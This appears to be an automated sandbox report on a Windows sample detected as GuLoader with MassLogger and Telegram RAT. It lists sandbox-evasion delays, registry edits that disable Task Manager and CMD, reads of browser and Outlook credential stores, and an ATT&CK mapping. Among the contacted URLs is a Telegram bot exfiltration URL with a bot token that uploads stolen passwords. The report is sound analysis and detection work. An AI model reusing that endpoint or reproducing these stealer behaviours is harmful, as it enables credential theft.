Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594655	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594514	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594288	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Window / User API: threadDelayed 2329			Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Window / User API: threadDelayed 7507			Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

API coverage: 3.6 %

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 5404	Thread sleep count: 2329 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 5404	Thread sleep count: 7507 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599652s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598450s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598339s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597794s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597204s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -597082s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596945s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595965s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -595093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594514s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe TID: 2860	Thread sleep time: -594288s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_00402868 FindFirstFileW,	4_2_00402868
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_0040672B FindFirstFileW,FindClose,	4_2_0040672B
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Code function: 4_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405AFA

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599843	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599652	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598450	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598339	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597794	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597204	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 597082	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596945	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596624	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596296	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595965	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595421	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594655	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594514	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Thread delayed: delay time: 594288	Jump to behavior

Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005827000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2932353178.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	API call chain: ExitProcess graph end node			graph_0-4588
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	API call chain: ExitProcess graph end node			graph_0-4746

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_6F951B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F951B5F

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Process created: C:\Users\user\Desktop\ZaRP7yvL1J.exe "C:\Users\user\Desktop\ZaRP7yvL1J.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Users\user\Desktop\ZaRP7yvL1J.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZaRP7yvL1J.exe PID: 3052, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZaRP7yvL1J.exe PID: 3052, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ZaRP7yvL1J.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZaRP7yvL1J.exe PID: 3052, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZaRP7yvL1J.exe PID: 3052, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZaRP7yvL1J.exe PID: 3052, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZaRP7yvL1J.exe	58%	ReversingLabs	Win32.Trojan.GuLoader
ZaRP7yvL1J.exe	75%	Virustotal		Browse
ZaRP7yvL1J.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nszB803.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://api.telegram.orgp	0%	Avira URL Cloud	safe
http://checkip.dyndns.orgp	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.142	true	false	high
drive.usercontent.google.com	142.250.185.129	true	false	high
reallyfreegeoip.org	104.21.16.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgp	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/hobf	ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005835000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	ZaRP7yvL1J.exe, 00000004.00000002.2932353178.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgp	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	ZaRP7yvL1J.exe, 00000004.00000002.2932353178.0000000005835000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2523839008.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/_	ZaRP7yvL1J.exe, 00000004.00000002.2951594871.0000000038912000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035D94000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	ZaRP7yvL1J.exe, 00000004.00000003.2484098617.000000000583E000.00000004.00000020.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000003.2484170673.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	ZaRP7yvL1J.exe	false		high
http://api.telegram.org	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F7B000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035F21000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.000000003608E000.00000004.00000800.00020000.00000000.sdmp, ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035E4A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035D21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	ZaRP7yvL1J.exe, 00000004.00000002.2950226933.0000000035DA0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs
